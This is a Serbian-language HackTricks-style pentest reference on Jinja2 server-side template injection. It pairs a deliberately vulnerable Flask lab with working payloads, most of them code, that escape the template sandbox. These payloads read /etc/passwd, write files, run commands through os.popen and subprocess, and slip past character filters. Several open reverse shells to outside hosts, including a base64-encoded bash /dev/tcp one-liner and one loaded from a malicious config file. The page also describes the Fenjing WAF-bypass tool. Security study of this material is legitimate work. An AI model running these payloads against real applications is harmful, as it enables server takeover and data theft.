330 lines
13 KiB
Markdown

# Jinja2 SSTI
{{#include ../../banners/hacktricks-training.md}}
## **Laboratorija**
```python
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
```
## **Razno**
### **Izjava o debagovanju**
Ako je Debug Extension omogućen, `debug` tag će biti dostupan za ispis trenutnog konteksta, kao i dostupnih filtera i testova. Ovo je korisno da se vidi šta je dostupno za korišćenje u šablonu bez postavljanja debagera.
```python
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
```
### **Isprazni sve konfiguracione promenljive**
```python
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
```
## **Jinja Injection**
Prvo, u Jinja injekciji morate **pronaći način da pobegnete iz sandboxes** i povratite pristup redovnom python izvršnom toku. Da biste to uradili, morate **zloupotrebiti objekte** koji su **iz** **ne-sandbox okruženja, ali su dostupni iz sandboxes**.
### Pristupanje Globalnim Objektima
Na primer, u kodu `render_template("hello.html", username=username, email=email)` objekti username i email **dolaze iz ne-sandbox python okruženja** i biće **dostupni** unutar **sandbox okruženja.**\
Pored toga, postoje drugi objekti koji će biti **uvek dostupni iz sandbox okruženja**, to su:
```
[]
''
()
dict
config
request
```
### Oporavak \<class 'object'>
Zatim, iz ovih objekata treba da dođemo do klase: **`<class 'object'>`** kako bismo pokušali da **oporavimo** definisane **klase**. To je zato što iz ovog objekta možemo pozvati metodu **`__subclasses__`** i **pristupiti svim klasama iz ne-sandboxovanog** python okruženja.
Da bismo pristupili toj **klasi objekta**, potrebno je da **pristupimo objektu klase** i zatim pristupimo ili **`__base__`**, **`__mro__()[-1]`** ili `.`**`mro()[-1]`**. A zatim, **nakon** što dođemo do ove **klase objekta** mi **pozivamo** **`__subclasses__()`**.
Proverite ove primere:
```python
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
### RCE Escaping
**Nakon što smo povratili** `<class 'object'>` i pozvali `__subclasses__`, sada možemo koristiti te klase za čitanje i pisanje fajlova i izvršavanje koda.
Poziv na `__subclasses__` nam je pružio priliku da **pristupimo stotinama novih funkcija**, bićemo srećni samo pristupajući **klasi fajlova** da **čitamo/pisamo fajlove** ili bilo kojoj klasi koja ima pristup klasi koja **omogućava izvršavanje komandi** (kao što je `os`).
**Čitanje/Pisanje udaljenog fajla**
```python
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
**RCE**
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
```
Da biste saznali o **više klasa** koje možete koristiti za **izbegavanje**, možete **proveriti**:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
{{#endref}}
### Obilaženje filtera
#### Uobičajena obilaženja
Ova obilaženja će nam omogućiti da **pristupimo** **atributima** objekata **bez korišćenja nekih karaktera**.\
Već smo videli neka od ovih obilaženja u primerima prethodnog, ali hajde da ih ovde sumiramo:
```bash
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
```
- [**Vratite se ovde za više opcija za pristup globalnom objektu**](jinja2-ssti.md#accessing-global-objects)
- [**Vratite se ovde za više opcija za pristup klasi objekta**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
- [**Pročitajte ovo da biste dobili RCE bez klase objekta**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
**Izbegavanje HTML kodiranja**
Podrazumevano Flask HTML kodira sve unutar šablona iz bezbednosnih razloga:
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**`safe`** filter omogućava nam da injektujemo JavaScript i HTML u stranicu **bez** da bude **HTML kodiran**, ovako:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
```
**RCE pisanjem zloćudne konfiguracione datoteke.**
```python
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
## Bez nekoliko karaktera
Bez **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
```python
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
```
## Jinja Injection bez **\<class 'object'>**
Iz [**globalnih objekata**](jinja2-ssti.md#accessing-global-objects) postoji još jedan način da se dođe do **RCE bez korišćenja te klase.**\
Ako uspete da dođete do bilo koje **funkcije** iz tih globalnih objekata, moći ćete da pristupite **`__globals__.__builtins__`** i odatle je **RCE** veoma **jednostavan**.
Možete **pronaći funkcije** iz objekata **`request`**, **`config`** i bilo kog **drugog** zanimljivog **globalnog objekta** kojem imate pristup sa:
```bash
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
```
Kada pronađete neke funkcije, možete povratiti ugrađene funkcije sa:
```python
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
```
### Fuzzing WAF bypass
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) je alat koji je specijalizovan za CTF-ove, ali može biti koristan i za bruteforce nevalidnih parametara u stvarnom scenariju. Alat jednostavno ispaljuje reči i upite kako bi otkrio filtre, tražeći zaobilaženja, i takođe pruža interaktivnu konzolu.
```
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
```
## Reference
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
- Proverite [attr trik za zaobilaženje crnih karaktera ovde](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#python3).
- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
{{#include ../../banners/hacktricks-training.md}}